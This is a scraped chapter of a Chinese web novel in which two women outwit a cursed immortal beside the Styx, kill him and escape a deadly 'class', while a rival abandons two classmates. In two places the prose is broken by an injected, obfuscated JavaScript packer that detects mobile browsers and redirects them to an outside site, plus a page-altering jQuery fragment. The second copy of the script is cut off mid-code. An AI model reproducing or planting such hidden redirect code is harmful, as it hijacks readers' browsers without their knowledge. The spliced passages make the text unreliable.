尽量以最小的动静下到二层和一层的恶交界处,确定楼下暂时没人,她快速下到一层,按着记忆来到了古堡的大门口,找了个可以完美隐蔽起来的角落,静静守株待兔。 四周安静得要命,任何一点动静在此时都显得异常明显。没一会儿,项纨就听到楼梯口传来动静,还不小。 她稍稍探出身子,往声音传来的方向看去,果然,是于露正费劲地搬动着阿克斯的轮椅,轮椅上是空的,阿克斯应该还在楼上等待。 即便隔了点距离,项纨还是看出于露的脸色臭得要命,要不是情况不允许,项纨估计她现在已经想破口大骂了。 只见她用唇语骂骂咧咧地把轮椅搬到了一楼,又折返回去,这次下来,扛着阿克斯。 一个穿着华丽的女人扛着一个残缺不全的男人,这场面不论怎么看都有些诡异的滑稽。不过项纨的注意力只集中在他俩身上,没心思想别的。 于露把阿克斯安置在轮椅上后,弯下腰,把耳朵贴近阿克斯。对方在她耳边说了句什么,于露直起身子,握住轮椅的扶手,站在原地东张西望一番,似乎是想确定项纨跟上了没有。 但是找了一通也没找到她,只能一脸泄气地推着阿克斯朝古堡大门的方向走去。 果然是要去外头。 项纨看着于露悄悄打开了古堡大门,推着阿克斯,两人的身影消失在门口。她原地等待一会儿,跟了上去。 从古堡里出来时候顺手薅了一盏油灯,项纨举着灯火,一眼就锁定了两人前进的方向。她不远不近地跟在后头,于露在前面一路走一路东张西望,做贼似的,终于在某次回头的时候发现身后的项纨。 她紧绷的神情一下放松许多,朝着项纨的方向比了个“OK”的手势,彻底放心地推着阿克斯前进,连脚步看起来都轻快了许多。 尽管从古堡内部看着那条冥河似乎悬于夜空之上,但只有阿克斯知道具体该如何抵达它附近,于露有阿克斯的指引,应该不会出错。三人就这么两前以后,进入了古堡前端的一片密林。 林子里很黑,项纨手里那盏油灯微弱的光芒照不到太远的地方,可是于露的前进速度却快得惊人,项纨意识到她眼里的光景可能和自己不太一样,而且,不知道是不是她的错觉,总觉得从进入这片林子开始,她的意识越来越不清晰,就想被什么神秘力量给控制,或者说……排斥了一样。 好在这里的植被茂盛,稍不注意,项纨的胳膊就被一些锋利的叶片割到,密密麻麻的细微疼痛感此时却成为了保持清醒的利器。 可是越深入密林之中,这点微不足道的疼痛感就不怎么管用了。 项纨猜测大概和以西方神话体系为基础背景有关,自己这样的普通人,既没有故事人物的指引又不是故事里的土著,所以或许被这个地方识别成“入侵者”? 不管是不是猜测的这样,总之她现在的状态是越来越不对劲了。 眼看两人的距离越来越远,项纨心一横,从腰间抽出匕首,锋利的刀刃对着手心一划,手掌心顿时多出一道不深但也不浅的口子。 温热的液体顺着刀刃滴落在地,鲜血的味道充斥着鼻腔,疼痛终于让她的神智变得更加清明。趁此时间,项纨加快脚下的速度跟了上去,终于又看见了两人的身影。 也不知道走了多久,植被渐渐变得越发洗漱,项纨的脚步有些发沉,理智尚算清晰。于露在她十米开外的前方,推着个人但是看起来似乎不怎么费劲,于露的体力向来是不及她的,由此可见她此前的推测应该是成立的。 再向前走了大约十来分钟,终于穿过了这片密林,身边的景象豁然开朗。 项纨停下脚步眺望前方,不远处的景象小小地震惊了她一番——墨色的长河汇于眼前,那些红色的,活动的似乎是某种不知名生物,它们密密麻麻地聚集在一处,跳跃翻滚。 离近了看这条河,竟然是这么一番景象。 与此同时,项纨也感觉刚才在的林子里的那种被排斥感消失不见了。 手掌心的疼痛渐渐感觉不到,项纨抬手一看,手上的伤口不知什么时候凝结成了一道黑色的伤疤,疤痕看起来有些瘆人。 她抬头,去找于露和阿克斯的身影。 于露推着阿克斯停在了冥河旁边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977223|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受到冥河熟悉的味道,阿克斯渐渐变得有些兴奋,他问身旁的于露:“里沙,你看见你面前这条河了吗?” “看到了,没错,就是这条河。”于露圆着自己的谎话。 阿克斯的语气更加兴奋:“那就没错了,那就没错了!”他似乎能感知到冥河的方向,转过脸去面朝河流的位置,“你看,那上头是不是跳跃着一团团红色的‘火焰’?” 于露看着河面跳动的点点猩红,“没错。” “你知道这些是什么吗?” 于露收回视线:“我不知道,阿克斯,难道你知道这些是什么?” “当然。”阿克斯答得很快,就像什么被他铭记在灵魂里的问题被问到一样,“一团红色的火焰,代表着一个逝去的生命。” 一个红点代表一个死人,聚成一条河的红点代表……于露打了个寒战,瞬间明白过来这里为什么会被叫做冥河。 “这条河的名字叫做冥河。”阿克斯宛如她肚子里的蛔虫,“而你我身上的秘密,皆来自于它。” 于露发出惊讶的感叹:“来自于它!?” 阿克斯点头,“没错,里沙你过来。” 于露闻言,走到他跟前。 “脱下我的衣服。” 于露:…… 虽然不理解,但是照做。 解开阿克斯的上衣,脱下他身上的衣服,映入眼帘的,是一具可以称作“千疮百孔”的身体,配合着他的四肢和躯干,阿克斯整个人看起来更加惨烈了。 于露的目光被他心脏附近的一道深不可测的伤口吸引。那位置,那深度,寻常人被这么一击绝对是会毙命的程度,而就算是这样,阿克斯居然都没死。 这就是冥河的威力吗? “里沙,你看见我身上的伤痕了吗?” “……当然,看得很清楚。”于露把衣服给他穿了回去。 阿克斯苦笑道:“你看到我心口那道伤疤了吧,那次,我也以为自己不论如何也该死了吧?可是没有,我和你一样,也死不掉。” 虽然是早就知道事情,于露还是装出一副惊讶的样子:“你和我一样?你也死不掉?难道说你也曾经……” “不,我没有掉进过冥河,”阿克斯摇了摇头,娓娓道,“其实我胸口这道伤,早与我的断臂残肢,那时候是我打的第一场仗,我在战斗中受了如此严重的伤,可我却像没事人一样,死不掉。” 阿克斯语气平静的讲述着自己从前的经历。 他忍着心中的疑惑赢得了那场战争的胜利,回到自己的地盘,便再也没办法控制自己的好奇心,转头找到了萨瑞亚,询问其中的原因。 萨瑞亚一开始本来想着搪塞,可阿克斯固执得很,没有得到答案完全不肯罢休。 “所以,我的母亲告诉了我原因。” “原来在我出生的时候,曾被巫师语言,说我会死在人生的第一场战斗之中。而我的母亲爱子心切,带着我来到冥河边。” “而我一生的噩梦,就此开启。” 22. Achilles “她将我整个人浸入冥河之中,从此,我便成了一个杀不死的怪物。” 一开始,在第一场战争之后,得知此事的阿克斯还有些庆幸,庆幸自己拥有了不死之身。可是后来,随着战争爆发得越来越频繁,阿克斯受伤的次数越来越多,直到在某一场争斗中,他被削掉一只耳朵,阿克斯才惊觉,原来他仅仅只是不会死而已。 他会受伤,会感受到被削耳的痛,残缺的地方不会再生。 而他,还是不会死。 他受的伤越来越多,也越来越重,与此同时,还有奇怪东西找上了门来。也是后来,他知道了那家伙的名字——死神阿瑞斯。 除去在战争中受到的伤害,阿克斯身上残缺的部位,有很大一部分是阿瑞斯造成的。祂每来一次,阿克斯就会失去一样东西,或是一根手指,或是一只眼睛,又或是一小块儿皮肤。 他渐渐明白,死神是来讨债的,没有人能够从死神手里偷走不属于自己的时间,如果有,那必将付出比死更加惨痛的代价。 于是阿克斯渐渐的,变成了现在这副模样。 “所以,里沙,你也从死神手里偷走了东西。”阿克斯感慨道,“放任不管的话,我的今天就是你的明天。” 他说的这些,不光于露听见了,暗中跟在不远处的项纨也听得一清二楚。 于露看向项纨的方向,投来一个求助的眼神,似乎是在询问她接下来该如何回答。项纨想了想,虽然不知道于露能不能理解她的意思,但还是伸手遥指了下阿克斯,又收手,手指在自己太阳穴附近绕了两圈。 意外的是于露竟然一下子看懂了她的意思,她组织了下语言,转头询问阿克斯:“阿克斯,你觉得我应该怎么做呢?” 阿克斯似乎正等着她问自己,于露的话才一出口,他就立马接道:“拨乱反正,里沙,你不是一直想要结束自己被家族操控的一生吗?” “你的意思是……”于露状似疑惑,内心的白眼已经快要翻到天上去了,他这意思不就是让她去死吗?“可是我试过那么多种方式,都没办法。” “你还没明白吗里沙!”阿克斯的语气忽然激动起来,带着暗藏不住的兴奋,却又要拼命克制自己的感觉,“你和我一样,曾经掉进过冥河,而你唯一没有被冥河浸染的地方就是你被人抓住的那只胳膊!” “所以……” “所以只要砍掉你的那只胳膊,你就可以解脱了!” “原来如此!”于露用恍然大悟的语气感叹了一声,又假装不解,“可是……真的是这样吗?阿克斯,不是我不信任你,实在是……你身上的伤看起来太多了,而且几乎每个部位都有……抱歉抱歉,我并不是嫌弃你身上伤多的意思,而是……” 她说一句顿一句,显得十分犹豫。 阿克斯立马意会到她的意思,为了让她彻底信任自己,阿克斯解释道:“事实上,我和你一样。虽然我身上大大小小的伤这么多,可是没有一处伤到了我真正的要害,因为它并不在这些地方。” 夜风将阿克斯的声音准确无误地送入项纨的耳朵里,她脑子转得飞快,与此同时,她发现,冥河的河道之中,一个黑色身影正在慢慢凝结,一开始十分模糊,后来渐渐有了雏形。 她认出,那是阿瑞斯!算算时间,的确是差不多到了阿瑞斯该出现的时候。 不对。 以项纨单独和阿克斯相处的那一晚来看,阿克斯对于阿瑞斯是相当恐惧的,就算真的要从于露身上找共鸣,也绝不会忘形到直接带着于露来到阿瑞斯的老巢。 “里沙,不要犹豫了!”阿克斯焦急的催促声传来,项纨放眼过去,就见阿克斯一脸焦急,似乎正等着于露动手。 他虽然看不见,但会如此突然着急的原因恐怕只有一个——他感受到阿瑞斯的存在了。 “动手吧,就现在,我的轮椅扶手里藏着一把削铁如泥的匕首,里沙!”阿克斯的声音越发不淡定,“只要砍掉你的胳膊,你就能永远摆脱这种痛苦,也不会变得像我一样!相信我,里沙,我是为了你好!” 这副样子,项纨合理怀疑要不是冥河只会在晚上出现,阿克斯恐怕老早就想把于露带过来然后教唆她自我了断了。 想到这儿,项纨怔了怔。 教唆。 没错,阿克斯现在这副样子,用教唆形容再合适不过了。 这本来就是于露和项纨合伙编出来诓他的鬼话,于露自然是不可能动手的。她拖延着时间,“可是你也说了,这冥河只是让我不死而已,你也知道如果胳膊真的被斩断,也不会再重新长回来,万一砍掉胳膊我却没有死的话,那岂不是成了……” 话还没说完呢,就被阿克斯急匆匆打断:“不会的,你相信我里沙,我没有理由骗你对吗?我如果想对你做什么,根本不需要带你出来!在古堡里,我动手岂不是更加方便!” 倒也是这么个理儿。可于露也不可能真对自己做什么,她再次拖延道:“你说得也有道理,可是……” “别可是了!”阿克斯似乎失去了耐心,整个人肉眼可见地变得暴躁起来。 于露也注意到了河面那个渐渐那凝成形的黑色瘦长身影。她见过那家伙,轻而易举就将阿克斯的暴躁和对方联系起来。 “快动手吧!你难道想被死神讨伐,最后变成我这副样子吗?” 好家伙,还威胁上了。 于露假装妥协,松开了轮椅的扶手,问他:“阿克斯,你说的匕首在哪里?” 见她松口,阿克斯迫切道:“左边第三节木榫的位置,你敲一敲,里头是空的,打开就能看到。” 于露如他所说,数着轮椅扶手左边第三节,蜷起手指敲了敲,果然是空心的。她将木板掀开,里头果然竖放着一把匕首。于露将匕首从扶手里取了出来掂了掂,还挺沉。 “找到了吗?!” 阿克斯的语气颇有些迫不及待了。 于露“嗯”了一声,说:“找到了。” 阿克斯微不可查地松了口气,“那,里沙,虽然很遗憾不能与你相伴,但祝愿你下一生不要再被家族所困扰,你动手吧!” 于露回头看了眼项纨。 项纨抬手作刀状,在自己的脖子见比划了一下。于露愣了愣,会意,解开匕首的套子,尽量保证不手抖,将冰凉的刀刃架到了阿克斯的脖子上。 冷兵器的触感顿时让阿克斯身体一僵,反应过来是什么东西架在了自己的脖子上,阿克斯疑惑开口:“里沙?你这是做什么?” “阿克斯先生,你的祝愿说得太早了,有这时间,不如送两句祝福给自己。”这情形,再看刚才项纨的意思,于露明白自己大概是不需要装了,于是说话也变得刻薄起来。 阿克斯的反应倒是很快,他脸上的恶表情先是空白了一瞬,很快明白过来:“你骗了我?” 没有项纨的授意,于露不大想跟他多说话,怕多说多错。可阿克斯却执着地又问一次,语气比刚才激烈许多:“你骗了我?!” 于露脸上露出不耐烦的表情,仍不回答。 阿克斯却跟个复读机似的,还不死心:“你骗了我?你根本没有掉进过冥河,是不是!?” 没等于露说话,项纨的声音先从他身后幽幽地传了过来,“是,她根本就没有掉进过冥河,怎么,让你很失望吗?” 听、她的声音,阿克斯猛然回头,却忘了自己两个眼珠子已经被尽数挖走,根本没办法看到什么,但他还是一下就认出了项纨的声音,“Luna,你怎么会在这里?难道说……是你!” “不!Luna是纯洁善良的象征,你这个骗子,不配叫这个名字!” 项纨步履从容,缓缓走到两人旁边,语气平静:“我本来就不叫这个名字,你忘了吗?” “你们!”阿克斯的声音有些颤抖,“你们合起伙来骗我?” “骗这个字太难听了,我们不过是编了个故事,如果你只把这个故事当做故事听,而不是动了歪心思,也就没有后面的事了。”项纨气定神闲道。 阿克斯的表情愤与惧交织,面容看起来十分扭曲。 项纨回头看了一眼冥河中央,阿瑞斯已经凝成实质,并且开始缓缓朝着这个方向移动。 “亲爱的阿克斯先生,鉴于你的眼睛什么都看不见,出于人道主义我不得不提醒你一句,冥河中心的那位,已经在往这边来了。” 阿克斯身体明显一僵,再开口的时候声音都在发颤:“祂来了……” “对,祂来了。”项纨要的就是这种效果。“可是我看你全身上下好像也没几个好地方了,你说,今晚他会从哪里下手呢?” 阿克斯的身体开始发抖,抖动弧度越发明显,阿瑞斯移动的速度很慢,可尽管如此,距离也在不断拉近。 这种感觉对于阿克斯而言,无异于一把铡刀悬在头顶,时刻准备着落下。 阿克斯大约也是昏了头,竟然开始向两人发出求救信号,“Luna,里沙!你们救救我,带我离开这里好吗!” “有用吗?”项纨毫不客气地击碎他的幻想,“萨瑞亚把古堡布置成那样,有用吗?防得住祂吗?阿克斯,祂可是死神,你真的觉得能靠自己的力量对抗死神?” 阿克斯被她问得哑口无言。 “不过,看你刚才的样子,我倒是想通了一些事情。” “……什么事?” “看来你已经找到了能够欺骗死神,在死神那里钻空子的法子。”项纨不咸不淡地说着,仿佛说的什么无关紧要的事情。 阿克斯一愣。 于露好奇心重,问她:“什么法子?” 项纨嘴角微微一勾,说:“还能是什么,那么着急地催促你去死,恐怕今天那么早早地叫你回来,就是为了和自己的母亲谋划怎么让你成为替死鬼。” 她往后一转,朝着密林的某个方向提高声音:“我说得对吗?萨瑞亚夫人。” 话音落下,漆黑的密林里缓缓走出一个身影。 于露定睛一看,还真是萨瑞亚。“我靠!她什么时候跟过来的?” 项纨没回答,看着萨瑞亚一步一步走向她们。她的视线在项纨和于露两人身上来回交替,最终落在了项纨的身上,半眯起眼睛,“我果然没看错,你是个很危险的女人,你是什么时候发现我的?” 什么时候发现的吗? 与其说是发现,不如说项纨压根没想过萨瑞亚不会跟着她们。以她对自己儿子一举一动的关注度来看,萨瑞亚会跟在她们后面是必然的事情。 萨瑞亚缓缓走到几人两步开外的地方,站定。 她的表情有些冷漠,看两人的眼神犹如看两个无生命物质。于露第一次在萨瑞亚那张如同假面的脸上看到这样的表情,还有些新奇——终于觉得她不那么像假人了。 “既然知道我跟在后面还敢往这里来,你很有勇气。” “谢谢夸奖。”项纨大方接受,回敬道,“你也一样。” 萨瑞亚眼神突然变得凌厉,眉头微蹙,拔高声调:“什么意思?” 项纨并没有正面回答她,她侧目看了眼冥河的方向,阿瑞斯前行的速度虽然很慢,但已然接近岸边。她回头提醒萨瑞亚道:“萨瑞亚夫人,你们的时间可不多了。” 听到这儿,萨瑞亚的脸色一变,她下意识地看了一眼轮椅上面如死灰的阿克斯,仿佛被点燃了斗志。于露见她表情不对,整个人似乎进入了备战状态,疑惑的问项纨:“她这是?” “虽然刚才那段故事是我们编的,不过她们应该是发现了被冥河浸泡过的不死之人能帮阿克斯躲过死神的讨伐,我们现在两个大活靶子在这儿,丢进冥河里泡一泡,那不是现成的?” 于露骂了一声:“靠,我们好歹也是两个手脚健全的人,她还有阿克斯两个人,阿克斯根本都算不是一个战斗力,她一个人对我们俩?怎么想的?” 项纨瞥了她一眼,语气轻飘飘:“你真以为她是个手无缚鸡之力的妇人?” 于露一愣:“那不然呢?”还能是什么? 项纨揉了揉眉心,耐着性子:“能轻松找到冥河所在的女人,会是什么简单的角色?”更何况原型里,阿喀琉斯的母亲还是一位海洋女神,要说萨瑞亚没什么本事,项纨是无论如何也不相信的。 于露还是觉得项纨可能多心了,谁知道下一秒,萨瑞亚身上忽然迸发一道白色的光芒,等到耀眼的光褪去,萨瑞亚身上繁复的礼裙消失不见,她整个人被一层黑色的阴影笼罩,就连脸都变得模糊,看上去不再像个传统意义上的人,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而被她刀尖抵住的本人看上去也不是因为她在畏惧,阿克斯耳朵聆听的始终是阿瑞斯的方向。看起来,她的威胁好像没对这两个人任何一个起作用。 就连于露也觉得她是病急乱投医,忍不住提醒她:“你忘了!他死不掉的!” “哦,是吗?”被提醒之后的项纨丝毫不见慌张,淡定得于露都怀疑她是不是已经平静地疯了。而项纨接下来的话,却让在场几人纷纷震惊。 “我看未必。” 萨瑞亚短暂地震惊了两秒,回过神来,只觉得她在虚张声势。 “小姑娘,拖延时间是没有用的,你们两个今天的结局只有一个,那就是去泡冥河。” 萨瑞亚的语气有些急躁,听起来似乎是没什么耐心了。 项纨却气定神闲地摇摇头:“那可不一定,萨瑞亚夫人,你说有没有一种可能?” “什么?” “我已经知道该怎么杀死你亲爱的儿子阿克斯了呢?” 此言一出,现场沉默了几秒,萨瑞亚暴怒的声音率先打破:“绝无可能!” 阿克斯则是惊讶地将头转向她声音传来的方向,大约是因为一时间判读不出她话里的真假,所以不知道该做出一副什么样的表情,也就导致他的脸看起来更扭曲了。 阿克斯缓冲了一下,颤抖着声音问:“你说的是真的?” 项纨的声音带着笑意,听上去仍然无害,甚至能让阿克斯联想到前两天见她时那副温良的模样,然而她的话,却让他浑身血液冰凉:“当然。” 阿克斯忽然打了个冷战。 明明是再平常不过的一声回答,他却从中听出了一种令人胆寒的恶意。 “不……你一定是骗我的,你是个骗子,你是个惯犯,惯骗!” 怎么教于露说谎话的时候她一说就信了,轮到自己说真话,这人反而不相信了?啧,人呐,果然还是只希望听到自己想听的。 项纨在心里感慨完,嘴上还在不断击溃阿克斯的心理防线:“阿克斯,死神马上就要上岸了,迎接你的又是新一轮的痛苦。你曾经那么骄傲的一个人,真的还要继续这么每天战战兢兢,生不如死的苟活着吗?” “我要是你,遇到了我能助我一臂之力解脱,那我恨不得给我自己磕一个。” 她说话的声音并不低,在场的人几乎都能听清,萨瑞亚愤怒地回应:“阿克斯!不要听她的,她完全就是在胡说八道!” “……没错,”阿克斯听见母亲的声音,似乎找回了主心骨,“没错……你就是在胡说八道,你根本不知道该怎么杀掉我,你是想击溃我的心理防线,让我自己开口!” “……呵!哈哈哈,这些话不过是你的阴谋诡计!休想让我上当!” “你们还是老老实实进冥河做我的替死鬼吧,今晚,你们无论如何都跑不掉了。” 萨瑞亚在阿克斯说话的功夫,调转了目标,在于露不注意的时候抓住了她,将她拎了起来。 于露正专注阿克斯那边呢,一不留神,整个人已经被桎梏着绑到了半空! “草!你放开我!”她挣扎着,但一点效果也没有。 果然,还是得挑好对付的。 萨瑞亚没有立刻把她扔进冥河,她的脸慢慢从阴影里显现出来,和项纨对视上,挑衅般看她一眼,似乎在说:“看,我赢了。” 本以为她会懊恼,紧张或是流露出别的什么负面情绪,可是项纨却只是看了她一眼,然后开口:“萨瑞亚夫人,你知道我们人类最忌讳什么吗?” 萨瑞亚的理智疯狂阻止她回答项纨的问题,可是她还是没忍住问出了口:“什么?” “我们最忌讳的就是……”项纨握刀的手抬了起来,狠狠刺向阿克斯的嘴里。锋利的刀刃瞬间将他的嘴巴撬开,疼痛使得阿克斯想要叫唤,项纨抓住机会,将手里的刀刃往他嘴里狠狠再送一寸,握着刀柄拧了360度,尖刺一挑,带出来一条舌头。 “半路开香槟。” 萨瑞亚目眦欲裂地看着眼前的场景,痛呼一声:“不!” 轮椅上的阿克斯嘴里鲜血汩汩往外冒,犹如濒死的鱼,挣扎着抽搐了两下,便再也没了动静。 23. 待机中 在萨瑞亚爆发完绝望的呼声之后,整个时空仿佛瞬间凝滞了。 束缚着于露的力量消失,她从不高的空中跌落,好在屁股先着地,摔了一跤疼得龇牙咧嘴,不过没什么大碍。 萨瑞亚还没来得及冲到阿克斯身边见看一眼,整个人已经开始慢慢变得透明,与此同时,项纨忽然听见一阵熟悉的旋律,她的脑子短暂空白了一秒,想起来——是下课铃! 与此同时,一道微弱机械的声音伴随着熟悉的旋律响起: 「距离本堂课程小考结束还有30秒,请所有同学在倒计时结束前离开教室。」 和进入课堂前那道声音一模一样。 紧接着,倒计时开始。 刚才还平静的冥河河面忽然波涛汹涌,卷起一阵红色的巨浪。浪花翻腾到空中,忽然停滞,红光朝着两边散去,撕裂出一个巨大的口子。 出口! 项纨来不及多想,一把薅起地上的于露,飞快朝河面裂口的方向跑去。于露应该也听见30秒倒计时的消息,尽管跑得气喘吁吁,但丝毫没带停的。 冥河的和河面凝成了一种实质,两人一脚踏上去,确认不会跌落进去,继续撒丫子飞奔,直到穿过那道豁裂的大口,一阵极速失重的感觉传来,项纨眼前一黑,有种进入待机状态的感觉。 “宋宇你看!那是出口吗!” 琪琪把于露回来的事告诉宋宇之后,宋宇猜到这两人一定会有动作,于是向琪琪提出暗中观察,跟着项纨。但宋宇身上有伤,动作慢,等两人跟来的时候,正好看见项纨和于露奔现冥河上的裂口。 加上脑海中的提示音,明晃晃昭示那就是出口!两人面上浮出喜色,琪琪焦急道:“快!我们只有三十秒!” 宋宇伤得虽然重,但求生欲旺盛,只用琪琪捎带着拉一把,便跑起来,两人全速朝着出口跑去。琪琪好歹是个健全的,没受伤,跑得快些,半只脚踏进出口,想回头看看宋宇的位置,还没来得及转身,头皮忽然传来一阵剧痛。 她被人拽住了头发猛地往后一扯,刚进入出口的一只脚也被拽了回来,整个身子转了一圈,恰好能看见宋宇已经仰面倒在了半路。她心一揪,从这个角度,能看到宋宇身上的白T胸口处有个脚印,整个人无声无息面色苍白,不知道是死是活。 她惊恐地抬眼,和拽着她头发的陆舸对视。 对方整个人充斥着危险的气息,一种不祥的感觉将琪琪笼罩,她颤声求饶:“陆、陆舸,我们一起出去,一起……行吗?”说着,眼泪掉了下来,一副楚楚可怜的样子。 陆舸盯着她,忽然笑了,“一起出去?我看你和宋宇也没打算叫上我一起啊。”也算是他误打误撞,本打算去安抚一下宋宇和琪琪,给自己多留一条后路,没想到正好撞到两人鬼鬼祟祟地离开城堡。疑心使然,陆舸一直跟着他们,没想到竟然有这么意外的收获。 “不……不是的……”琪琪还试图说服她。 “你亲爱的宋宇已经出不去了,琪琪,你就留在这儿陪他吧。” “不不要……为什么?你和宋宇关系不是很好的吗!”琪琪没得到回应,知道陆舸的是不打算放过自己了,脑海里机械音倒计时的声音不断传来,她死命挣扎着,嘴里还骂道:“陆舸你这个狗东西!贱男人!明明是你为了活命先背叛了我们的团队,你现在在这儿装什么!” 陆舸听着脑子里的倒计时,也知道不能再拖下去。琪琪再怎么挣扎,力气也终究敌不过陆舸。陆舸一脚将她踹出去,琪琪疼得捂着肚子倒在地上话都说不出来,再没力气骂他,也爬不起来,只能虚弱地抬头,在心里用最恶毒的话诅咒这个两面三刀的贱人。 陆舸站在裂口处,低头不屑地睨了她一眼:“为什么?” 当然是因为校长一开始就说过了,毕业名额可是有限的,这里头多死几个,能成功毕业的几率就大几分。陆舸转身,在机械声倒数的最后三秒迎着琪琪绝望的眼神,转身迈进了河面巨大的裂缝之中。 「3」 「2」 「1」 随着所有人脑子里的倒计时结束,硕大的裂口瞬间合并,此间一切事物消失殆尽,正剩下茫茫一片虚无。 混沌的状态并没有持续多久,项纨始终能听见脑子里那道倒计时的声音。冰冷的机械音数到“0”的时候,一股力量将自己从黑暗中抽离,项纨睁开眼睛,发现自己站在一间宽敞明亮的教室里。 她下意识抬眼看向教室门口的标牌,303。 “我们这是,成功出来了!”身旁传来于露激动的声音,项纨这才发现她也在,没等她侧目,后方又有人说话了:“项纨,你骗了我。” 项纨回头,身后,站着表情阴鸷的陆舸。她环顾一圈,整个教室只剩下她们三个人,看样子琪琪和宋宇没能出得来,恐怕这其中少不了陆舸的手笔。 “不用看了。”陆舸幽幽道,话里的意思不言而喻。 项纨什么也没说,抬腿准备朝教室外走。不想腿还没迈出去,胳膊已经被陆舸拉住。项纨奇怪的看向他:“干什么?” “不打算解释一下吗?”陆舸冷笑一声,“如果不是我发现琪琪她们在跟踪你们,我就死在里头了。” 项纨觉得这人多半是有点毛病,“所以呢?” 陆舸一愣,随即气笑了:“项纨,我们说好的结盟吧,你这么做是不是太不地道了些,你不准备给我个说法吗?” 项纨差点怀疑自己的耳朵,看陆舸的眼神像在看疯子,她指了指自己,说:“你跟我要说法?” 陆舸眉头一皱,“难道不应该吗?” 项纨瞥了他一眼,一把将自己的手从他手中抽离,语气不咸不淡,带着淡淡的挖苦和讽刺:“那你不如先去给琪琪和宋宇一个说法。” “你!” 项纨懒得跟他废话,长腿一迈,朝着教室门的方向走。 于露白了这个恬不知耻的男人一眼,立马跟了上去。 项纨本想直接离开,可走到教室前方黑板近前的时候,她忽然停下了脚步。于露也停下,问她:“怎么了?” 项纨抬起下巴朝黑板的方向扬了扬,于露顺势看去,只见黑板正中心赫然多出了几行板书工整的小字: 本堂课程:古典文学 困难程度:简单 分数:10 项纨的视线定格在“简单”两个字上。确实,不算难的一堂课,十分的分值,可尽管如此,六个人进去,还是折了三个人在里头。 “项纨,我有个问题。”于露欲言又止。 项纨回头:“什么问题?” “岳琪宋宇还有那个傅小雅,这几个人是不是……” 项纨颔首:“是。” 于露一愣:“我还没说是什么呢?” 项纨转身,不打算多做停留 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于露看她表情不对,虽然有些别扭,还是开口:“项纨,你别太担心,晓彤她们……” 还没说完,寝室的大门被人推开,吱呀一声。 项纨和于露回头,眼睛一亮。 谢晓彤和白心月互相搀扶着走进了寝室,身上的衣服有好几处都破了,看上去应该是受伤了。见寝室已经有人了,两人惊讶地抬头看了一眼,见是她们,也不约而同的面上露出喜色。 “晓彤。”项纨连忙过去扶住谢晓彤,于露扶住白心月,被扶住的瞬间两人都有些脱力,谢晓彤的重心压在项纨身上,好在项纨力气大,几乎是半抱着把她抱到了椅子上。 “还好吗?” 项纨扶着她坐下,给她检查身上的伤。一番检查下来,确定她没受什么太严重的伤,项纨松了口气。 她拧开一瓶桌上的矿泉水递给谢晓彤,谢晓彤喝了一口,歇了好一会儿,终于缓过劲来,有力气说话了。 “丸子,我们没事儿,就是太累了。” “没事就好,没事就好。”项纨轻轻拍了拍她的肩膀。 谢晓彤靠在上床的梯子上,整个人软绵绵的,“只不过好累啊,五天没睡过一个好觉了。” “五天?”于露诧异,“你们这堂课里过去了五天?” 白心月点头,有气无力:“没错。” 那看来每堂课里的时间流速也是不一样的。项纨又想到什么,问谢晓彤:“晓彤,你们这次进去了几个人?” 提到这个,谢晓彤和白心月的脸色都不是太好看,谢晓彤抿了抿嘴唇,语气有些苦涩:“进去了九个人,出来了四个。” “对了,”项纨想到刚才没来得及看的那条消息,“看看你们的手机,有新通知。” “丸子你念给我们听听吧,我现在实在是不想动。”谢晓彤怠惰地靠在床边,手都不想抬一下。 “行。” 项纨解锁手机,重新打开群消息。 依旧是那个熟悉的空白头像: 「恭喜各位同学: 当你看到这条消息,说明你已经成功通过了第一堂附加课,我为你们感到骄傲。 接下来,你们将有两天修整时间,下一堂课,将在两日后开启,请时刻关注自己的课程和上课时间。 祝大家一切顺利。」